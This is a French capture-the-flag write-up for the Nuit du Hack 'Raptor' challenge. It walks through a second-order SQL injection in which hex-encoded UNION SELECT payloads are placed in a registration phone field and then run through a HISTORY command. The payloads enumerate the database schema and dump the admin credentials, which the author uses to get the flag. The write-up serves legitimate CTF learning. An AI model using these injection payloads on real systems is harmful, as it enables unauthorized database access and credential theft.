Ceci est une ancienne révision du document !
Misc 400 points http://quals.nuitduhack.com/challenges/view/12
Aucun énoncé, aucune précision ; seul un lien est présent : raptor.challs.nuitduhack.com:4142
Connectons-nous :
[plo@hyperion Misc]$ nc raptor.challs.nuitduhack.com 4142
~ » Welcome to the Raptor/1.0 Information Exchange Server
~ » You are anonymous - Read only access !
Available commands :
+----------+-----------------+-------------------------------+--------------------------------+
| Command | Required Access | Syntax | Help |
+----------+-----------------+-------------------------------+--------------------------------+
| AUTH | guest | AUTH [login] [password] | Connect to an account |
| LIST | user | LIST [maxrecords] | List users informations |
| SEARCH | user | SEARCH [pattern] [maxresults] | Search an user |
| RSHELL | admin | RSHELL | Migrate to Raptor Shell |
| VERSION | guest | VERSION | Show current Raptor version |
| REGISTER | guest | REGISTER | Register a new account |
| HELP | guest | VERSION | Show this help menu |
| RIGHTS | guest | RIGHTS | Print your current rights |
| HISTORY | user | HISTORY | Show your call history |
| RESET | guest | RESET | ROLLBACK ! (Reset the CTF DB.) |
| QUIT | guest | QUIT | Close the connection. |
+----------+-----------------+-------------------------------+--------------------------------+
guest ~ $
On se retrouve connecté au service Raptor en anonyme/guest.
La sortie affichée semble être issue d'une base de données ; une requête SQL SELECT pourrait nous retourner cet affichage…
Raptor gère trois droits : guest/user/admin et une seule commande nécessite le droit admin : RSHELL.
On joue avec toutes les commandes et on s'aperçoit que :
guest ~ $ SEARCH %
+-----------+---------------+-----------+--------+
| FIRSTNAME | LASTNAME | DESKPHONE | RIGHTS |
+-----------+---------------+-----------+--------+
| Wesley | Eshmaggle | 4412 | admin |
| Yvan | Delacam | 0452 | user |
| Yvon | Payrir | A | user |
| Zlatan | Ibrahimovitch | 5122 | user |
+-----------+---------------+-----------+--------+
guest ~ $ SEARCH _
+-----------+---------------+-----------+--------+
| FIRSTNAME | LASTNAME | DESKPHONE | RIGHTS |
+-----------+---------------+-----------+--------+
| Wesley | Eshmaggle | 4412 | admin |
| Yvan | Delacam | 0452 | user |
| Yvon | Payrir | A | user |
| Zlatan | Ibrahimovitch | 5122 | user |
+-----------+---------------+-----------+--------+
Les caractères _ et % sont des wildcards SQL, notamment utilisés par l'opérateur LIKE. Ca confirme la supposition du SQL derrière Raptor.
Une information nous saute aux yeux, l'utilisateur Yvon Payrir possède A comme numéro de téléphone !
Ca ne semble pas logique, tentons de créer un utilisateur :
guest ~ $ REGISTER
Please fill the informations below :
Login : a
Firstname : a
Lastname : a
Contact (DESK PHONE) : TEST
/!\ ERROR ! INVALID DESKPHONE NUMBER !
Raté, pourtant ça doit être possible ! Persévérons et essayons “TEST” en hexadécimal :
guest ~ $ REGISTER
Please fill the informations below :
Login : a
Firstname : a
Lastname : a
Contact (DESK PHONE) : 0x54455354
Password : zenk
Encrypting using 128x(ROT13) ......HAAAAAAAAX......
Password encryption done ! (Security First) !
guest ~ $ SEARCH %
+-----------+---------------+-----------+--------+
| FIRSTNAME | LASTNAME | DESKPHONE | RIGHTS |
+-----------+---------------+-----------+--------+
| a | a | TEST | user |
| Wesley | Eshmaggle | 4412 | admin |
| Yvan | Delacam | 0452 | user |
| Yvon | Payrir | A | user |
| Zlatan | Ibrahimovitch | 5122 | user |
+-----------+---------------+-----------+--------+
Bingo ! On peut injecter ce que l'on souhaite dans le champ DESKPHONE ! Bon, ne nous réjouissons pas trop vite, on en fait quoi ? Peut-on exploiter cette faiblesse pour une injection SQL ?
Dans les commandes à notre disposition, on a HISTORY :
| HISTORY | user | HISTORY | Show your call history |
Cette commande permet de lister l'historique de nos appels téléphoniques, ça tombe bien puisque c'est dans DESKPHONE qu'on peut injecter des données :
a ~ $ HISTORY
RAPTOR CALL REPORTING
- CLIENT INFO :
+-----------+------+
| USERNAME | a |
| RIGHTS | user |
| DESKPHONE | TEST |
+-----------+------+
Après quelques tests, il s'avère qu'on a effectivement affaire à une “traditionnelle” SQLi où il faut encoder notre injection en hexadécimal dans le champ DESKPHONE :
Login : d
Firstname : d
Lastname : d
Contact (DESK PHONE) : 0x3120554e494f4e2053454c454354207461626c655f736368656d612c7461626c655f6e616d652c636f6c756d6e5f6e616d652c6e756c6c2046524f4d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73
Password : zenk
Encrypting using 128x(ROT13) ......HAAAAAAAAX......
Password encryption done ! (Security First) !
d ~ $ HISTORY
RAPTOR CALL REPORTING
- CLIENT INFO :
+-----------+-----------------------------------------------------------------------------------------+
| USERNAME | d |
| RIGHTS | user |
| DESKPHONE | 1 UNION SELECT table_schema,table_name,column_name,null FROM information_schema.columns |
+-----------+-----------------------------------------------------------------------------------------+
- CALL HISTORY
+--------------------+---------------------------------------+----------------------------------+----------+
| ID | DATE | DESTINATION | DURATION |
+--------------------+---------------------------------------+----------------------------------+----------+
| information_schema | CHARACTER_SETS | CHARACTER_SET_NAME | None |
| [...] | [...] | [...] | None |
| x_8816665166 | users | id | None |
| x_8816665166 | users | firstname | None |
| x_8816665166 | users | name | None |
| x_8816665166 | users | contact | None |
| x_8816665166 | users | password | None |
| x_8816665166 | users | login | None |
| x_8816665166 | users | rights | None |
+--------------------+---------------------------------------+----------------------------------+----------+
Dumpons le mot de passe de l'admin :
guest ~ $ REGISTER
Please fill the informations below :
Login : i
Firstname : i
Lastname : i
Contact (DESK PHONE) : 0x3120554e494f4e2053454c454354206c6f67696e2c70617373776f72642c7269676874732c6e756c6c2046524f4d207573657273205748455245207269676874733d2761646d696e27
Password : i
Encrypting using 128x(ROT13) ......HAAAAAAAAX......
Password encryption done ! (Security First) !
i ~ $ HISTORY
RAPTOR CALL REPORTING
- CLIENT INFO :
+-----------+---------------------------------------------------------------------------+
| USERNAME | i |
| RIGHTS | user |
| DESKPHONE | 1 UNION SELECT login,password,rights,null FROM users WHERE rights='admin' |
+-----------+---------------------------------------------------------------------------+
- CALL HISTORY
+-------------+------------+-------------+----------+
| ID | DATE | DESTINATION | DURATION |
+-------------+------------+-------------+----------+
| w.eshmaggle | Hanlbatard | admin | None |
+-------------+------------+-------------+----------+
Bingo, on a le mot de passe, on s'authentifie :
guest ~ $ AUTH w.eshmaggle Hanlbatard
Welcome w.eshmaggle !
w.eshmaggle ~ $ RSHELL
Ok, ok good job. You are admin... The flag is : 0eb80d9c2cdee95b461cf0b70d40791f
On obtient le flag et on valide l'épreuve \o/